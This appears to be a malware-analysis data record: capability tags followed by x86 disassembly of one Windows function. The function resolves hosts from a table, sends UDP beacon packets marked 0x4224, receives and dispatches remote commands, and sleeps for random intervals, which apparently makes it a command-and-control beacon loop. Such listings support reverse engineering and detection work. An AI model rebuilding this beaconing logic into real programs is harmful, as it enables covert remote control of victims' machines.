Function at 0x408fb0
Capabilities:
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
mov dword [ebp - 0x70], 0
call fcn.004076a0
mov byte [ebp - 0x8d], al
push 0x100
call fcn.0040a350
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0x100
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 4], 0x411ab8
mov eax, 1
test eax, eax
je 0x409492
cmp dword [ebp - 0xb0], 0
je 0x409027
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xb0]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x4c]
imul eax, eax, 6
mov ecx, dword [ebp - 4]
cmp dword [ecx + eax], 0
jne 0x40905e
mov dword [ebp - 0x4c], 0
call fcn.004095a0
cdq
mov ecx, 0x493e0
idiv ecx
add edx, 0x2bf20
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x413eec], 0
mov dword [ebp - 0x88], 0
push 0
lea edx, [ebp - 0x88]
push edx
push 0
push 0
push 1
mov eax, dword [ebp - 0x4c]
imul eax, eax, 6
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + eax]
push edx
call fcn.0040a570
add esp, 4
push eax
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x4090a9
cmp dword [ebp - 0x88], 0
jne 0x4090e0
cmp dword [ebp - 0x70], 9
jge 0x4090c7
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40905e
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409027
push 0x10
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.0040a430
add esp, 0xc
mov word [ebp - 0x5c], 2
mov eax, dword [ebp - 0x4c]
imul eax, eax, 6
mov ecx, dword [ebp - 4]
mov dx, word [ecx + eax + 4]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x5a], ax
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x58], ecx
push 0
mov edx, dword [ebp - 0x88]
push edx
call sub.DNSAPI.dll_DnsRecordListFree
push 1
push 0
push 0
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [ebp - 0xb0], eax
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [ebp - 0x44], eax
push 0
push 1
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0xb0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov edx, 1
test edx, edx
je 0x409484
mov dword [ebp - 0x94], 0
push 0x1f
push 0
lea eax, [ebp - 0x40]
push eax
call fcn.0040a430
add esp, 0xc
mov dword [ebp - 0x25], 0x4224
mov ecx, dword [0x413eec]
mov dword [ebp - 0x3e], ecx
mov dl, byte [ebp - 0x8d]
mov byte [ebp - 0x3a], dl
mov eax, dword [0x413ee8]
mov ecx, dword [eax + 0x814]
mov dword [ebp - 0x39], ecx
mov byte [ebp - 0x3f], 1
cmp dword [0x414980], 1
jne 0x4091cc
movzx edx, byte [ebp - 0x3f]
or edx, 0x40
mov byte [ebp - 0x3f], dl
push 0x10
mov eax, dword [0x413ee8]
push eax
lea ecx, [ebp - 0x35]
push ecx
call fcn.0040a470
add esp, 0xc
lea edx, [ebp - 0x40]
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x68], 0x1f
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0
jbe 0x4092af
push 0x14
push 0
lea eax, [ebp - 0xac]
push eax
call fcn.0040a430
add esp, 0xc
push 0
lea ecx, [ebp - 0xac]
push ecx
push 0x10
lea edx, [ebp - 0x5c]
push edx
push 0
lea eax, [ebp - 0x6c]
push eax
push 1
lea ecx, [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0xb0]
push edx
call dword [sym.imp.WS2_32.dll_WSASendTo]
cmp eax, 0xffffffff
jne 0x40925f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x3e5
je 0x40925f
mov dword [ebp - 0x94], 0x11
jmp 0x409484
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x6c], 0
push 0x1388
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
test eax, eax
jne 0x4092a1
mov dword [ebp - 0x94], 0x11
jmp 0x409484
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x4091f4
mov dword [ebp - 0x18], 0x100
mov edx, dword [ebp - 0x18]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call fcn.0040a430
add esp, 0xc
mov dword [ebp - 0x1c], 0x10
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0x14
push 0
lea ecx, [ebp - 0xac]
push ecx
call fcn.0040a430
add esp, 0xc
push 0x10
push 0
lea edx, [ebp - 0x84]
push edx
call fcn.0040a430
add esp, 0xc
push 0
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 1
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0xb0]
push eax
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
cmp eax, 0xffffffff
jne 0x409358
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x3e5
je 0x409358
mov dword [ebp - 0x94], 0x11
jmp 0x409484
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x98], 0
push 0x7530
lea ecx, [ebp - 0x98]
push ecx
lea edx, [ebp - 0x48]
push edx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
test eax, eax
jne 0x40939a
mov dword [ebp - 0x94], 0x11
jmp 0x409484
cmp dword [ebp - 0xc], 0
jne 0x4093a5
jmp 0x409484
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0x1a], 0x4224
jne 0x409451
mov ecx, dword [ebp - 0x20]
movzx edx, byte [ecx + 1]
cmp edx, 8
jne 0x40940b
mov eax, dword [ebp - 0x14]
add eax, 0x1e
mov dword [ebp - 8], eax
push 1
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 6]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00409b60
add esp, 0x10
mov edx, dword [ebp - 8]
push edx
call fcn.004013b0
add esp, 4
mov dword [ebp - 0x94], 0x10
jmp 0x409421
mov eax, dword [ebp - 0x20]
movzx ecx, byte [eax + 1]
cmp ecx, 0x10
jne 0x409421
mov dword [ebp - 0x94], 0x10
cmp dword [ebp - 0x94], 0x10
jne 0x409451
mov edx, dword [ebp - 0x20]
cmp dword [edx + 2], 0
je 0x409451
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x413eec]
cmp ecx, dword [eax + 2]
je 0x409451
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 2]
mov dword [0x413eec], eax
jmp 0x409167
cmp dword [ebp - 0x94], 0x10
je 0x40945c
jmp 0x409484
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x74], eax
call fcn.004095a0
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x15f90
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409167
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
jmp 0x408ffa
mov eax, dword [ebp - 0xb0]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret